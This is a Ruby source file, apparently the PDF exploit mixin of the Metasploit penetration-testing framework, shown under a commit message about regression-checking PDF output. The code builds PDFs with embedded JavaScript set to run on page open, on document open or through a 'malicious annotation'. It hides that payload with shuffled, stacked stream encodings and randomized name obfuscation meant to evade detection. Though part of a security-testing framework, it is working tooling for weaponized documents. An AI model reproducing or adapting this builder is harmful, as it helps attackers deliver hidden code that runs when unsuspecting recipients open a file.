cf6b181959
* I verified that changes to PDF mixin do not affect any older modules that generate PDF. I did this by (on each branch) running in irb, then running the module and diffing the pdf's generated by each branch. There were no changes.
344 lines
8.5 KiB
Ruby
344 lines
8.5 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
###
|
|
#
|
|
# This module provides methods for creating PDF files.
|
|
#
|
|
###
|
|
|
|
module Msf
|
|
module Exploit::PDF
|
|
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),
|
|
OptString.new('PDF::Method', [ true, 'Select PAGE, DOCUMENT, or ANNOTATION' , 'DOCUMENT']),
|
|
OptString.new('PDF::Encoder', [ true, 'Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX', 'ASCIIHEX']),
|
|
OptInt.new('PDF::MultiFilter', [ true, 'Stack multiple encodings n times', 1]),
|
|
], Msf::Exploit::PDF
|
|
)
|
|
|
|
# We're assuming we'll only create one pdf at a time here.
|
|
@xref = {}
|
|
@pdf = ''
|
|
end
|
|
|
|
##
|
|
#Original Filters
|
|
##
|
|
|
|
def ASCIIHexWhitespaceEncode(str)
|
|
return str if not datastore['PDF::Obfuscate']
|
|
result = ""
|
|
whitespace = ""
|
|
str.each_byte do |b|
|
|
result << whitespace << "%02x" % b
|
|
whitespace = " " * (rand(3) + 1)
|
|
end
|
|
result << ">"
|
|
end
|
|
|
|
##
|
|
#Filters from Origami parser
|
|
##
|
|
def RunLengthEncode(stream)
|
|
eod = 128
|
|
result = ""
|
|
i = 0
|
|
|
|
while i < stream.size
|
|
#
|
|
# How many identical bytes coming?
|
|
#
|
|
length = 1
|
|
while i+1 < stream.size and length < eod and stream[i] == stream[i+1]
|
|
length = length + 1
|
|
i = i + 1
|
|
end
|
|
|
|
#
|
|
# If more than 1, then compress them.
|
|
#
|
|
if length > 1
|
|
result << (257 - length).chr << stream[i,1]
|
|
|
|
#
|
|
# Otherwise how many different bytes to copy ?
|
|
#
|
|
else
|
|
j = i
|
|
while j+1 < stream.size and (j - i + 1) < eod and stream[j] != stream[j+1]
|
|
j = j + 1
|
|
end
|
|
|
|
length = j - i
|
|
result << length.chr << stream[i, length+1]
|
|
|
|
i = j
|
|
end
|
|
|
|
i = i + 1
|
|
end
|
|
result << eod.chr
|
|
end
|
|
|
|
def RandomNonASCIIString(count)
|
|
result = ""
|
|
count.times do
|
|
result << (rand(128) + 128).chr
|
|
end
|
|
result
|
|
end
|
|
|
|
def ASCII85Encode(stream)
|
|
eod = "~>"
|
|
i = 0
|
|
code = ""
|
|
input = stream.dup
|
|
|
|
while i < input.size do
|
|
|
|
if input.length - i < 4
|
|
addend = 4 - (input.length - i)
|
|
input << "\0" * addend
|
|
else
|
|
addend = 0
|
|
end
|
|
|
|
inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord)
|
|
outblock = ""
|
|
|
|
5.times do |p|
|
|
c = inblock / 85 ** (4 - p)
|
|
outblock << ("!"[0].ord + c).chr
|
|
inblock -= c * 85 ** (4 - p)
|
|
end
|
|
|
|
outblock = "z" if outblock == "!!!!!" and addend == 0
|
|
|
|
if addend != 0
|
|
outblock = outblock[0,(4 - addend) + 1]
|
|
end
|
|
|
|
code << outblock
|
|
i = i + 4
|
|
end
|
|
code << eod
|
|
end
|
|
|
|
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
|
def nObfu(str)
|
|
return str if not datastore['PDF::Obfuscate']
|
|
|
|
result = ""
|
|
str.scan(/./u) do |c|
|
|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
|
result << "#%x" % c.unpack("C*")[0]
|
|
else
|
|
result << c
|
|
end
|
|
end
|
|
result
|
|
end
|
|
|
|
##
|
|
#PDF building block functions
|
|
##
|
|
def header(version = '1.5')
|
|
hdr = "%PDF-#{version}" << eol
|
|
hdr << "%" << RandomNonASCIIString(4) << eol
|
|
hdr
|
|
end
|
|
|
|
def add_object(num, data)
|
|
@xref[num] = @pdf.length
|
|
@pdf << ioDef(num)
|
|
@pdf << data
|
|
@pdf << endobj
|
|
end
|
|
|
|
def finish_pdf
|
|
@xref_offset = @pdf.length
|
|
@pdf << xref_table
|
|
@pdf << trailer(1)
|
|
@pdf << startxref
|
|
@pdf
|
|
end
|
|
|
|
def xref_table
|
|
id = @xref.keys.max+1
|
|
ret = "xref" << eol
|
|
ret << "0 %d" % id << eol
|
|
ret << "0000000000 65535 f" << eol
|
|
ret << (1..@xref.keys.max).map do |index|
|
|
if @xref.has_key?(index)
|
|
offset = @xref[index]
|
|
"%010d 00000 n" % offset << eol
|
|
else
|
|
"0000000000 00000 f" << eol
|
|
end
|
|
end.join
|
|
|
|
ret
|
|
end
|
|
|
|
def trailer(root_obj)
|
|
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
|
|
ret
|
|
end
|
|
|
|
def startxref
|
|
ret = "startxref" << eol
|
|
ret << @xref_offset.to_s << eol
|
|
ret << "%%EOF" << eol
|
|
ret
|
|
end
|
|
|
|
def eol
|
|
@eol || "\x0d\x0a"
|
|
end
|
|
|
|
def eol=(new_eol)
|
|
@eol = new_eol
|
|
end
|
|
|
|
def endobj
|
|
"endobj" << eol
|
|
end
|
|
|
|
def ioDef(id)
|
|
"%d 0 obj" % id
|
|
end
|
|
|
|
def ioRef(id)
|
|
"%d 0 R" % id
|
|
end
|
|
|
|
##
|
|
#Controller funtion, should be entrypoint for pdf exploits
|
|
##
|
|
def CreatePDF(js)
|
|
strFilter = ""
|
|
arrResults = []
|
|
numIterations = 0
|
|
arrEncodings = ['ASCII85','ASCIIHEX','FLATE','RUN']
|
|
arrEncodings = arrEncodings.shuffle
|
|
if datastore['PDF::MultiFilter'] < arrEncodings.length
|
|
numIterations = datastore['PDF::MultiFilter']
|
|
else
|
|
numIterations = arrEncodings.length
|
|
end
|
|
for i in (0..numIterations-1)
|
|
if i == 0
|
|
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
|
|
next
|
|
end
|
|
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
|
|
end
|
|
case datastore['PDF::Method']
|
|
when 'PAGE'
|
|
pdf_with_page_exploit(arrResults[0],arrResults[1])
|
|
when 'DOCUMENT'
|
|
pdf_with_openaction_js(arrResults[0],arrResults[1])
|
|
when 'ANNOTATION'
|
|
pdf_with_annot_js(arrResults[0],arrResults[1])
|
|
end
|
|
end
|
|
|
|
##
|
|
#Select an encoder and build a filter specification
|
|
##
|
|
def SelectEncoder(js,strEncode,strFilter)
|
|
case strEncode
|
|
when 'ASCII85'
|
|
js = ASCII85Encode(js)
|
|
strFilter = "/ASCII85Decode"<<strFilter
|
|
when 'ASCIIHEX'
|
|
js = ASCIIHexWhitespaceEncode(js)
|
|
strFilter = "/ASCIIHexDecode"<<strFilter
|
|
when 'FLATE'
|
|
js = Zlib::Deflate.deflate(js)
|
|
strFilter = "/FlateDecode"<<strFilter
|
|
when 'RUN'
|
|
js = RunLengthEncode(js)
|
|
strFilter = "/RunLengthDecode"<<strFilter
|
|
end
|
|
return js,strFilter
|
|
end
|
|
|
|
##
|
|
#Create PDF with Page implant
|
|
##
|
|
def pdf_with_page_exploit(js,strFilter)
|
|
@xref = {}
|
|
@pdf = ''
|
|
|
|
@pdf << header
|
|
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
|
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
|
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
|
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
|
compressed = js
|
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
|
stream << "stream" << eol
|
|
stream << compressed << eol
|
|
stream << "endstream" << eol
|
|
add_object(5, stream)
|
|
|
|
finish_pdf
|
|
end
|
|
|
|
##
|
|
#Create PDF with OpenAction implant Note: doesn't carry over if
|
|
# you try to merge the exploit PDF with an innocuous one
|
|
##
|
|
def pdf_with_openaction_js(js,strFilter)
|
|
@xref = {}
|
|
@pdf = ''
|
|
|
|
@pdf << header
|
|
|
|
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
|
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
|
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
|
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
|
compressed = js
|
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
|
stream << "stream" << eol
|
|
stream << compressed << eol
|
|
stream << "endstream" << eol
|
|
add_object(5, stream)
|
|
|
|
finish_pdf
|
|
end
|
|
|
|
##
|
|
#Create PDF with a malicious annotation
|
|
##
|
|
def pdf_with_annot_js(js,strFilter)
|
|
@xref = {}
|
|
@pdf = ''
|
|
|
|
@pdf << header
|
|
|
|
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
|
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
|
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
|
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
|
|
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
|
|
compressed = js
|
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
|
stream << "stream" << eol
|
|
stream << compressed << eol
|
|
stream << "endstream" << eol
|
|
add_object(6, stream)
|
|
|
|
finish_pdf
|
|
end
|
|
|
|
end
|
|
end
|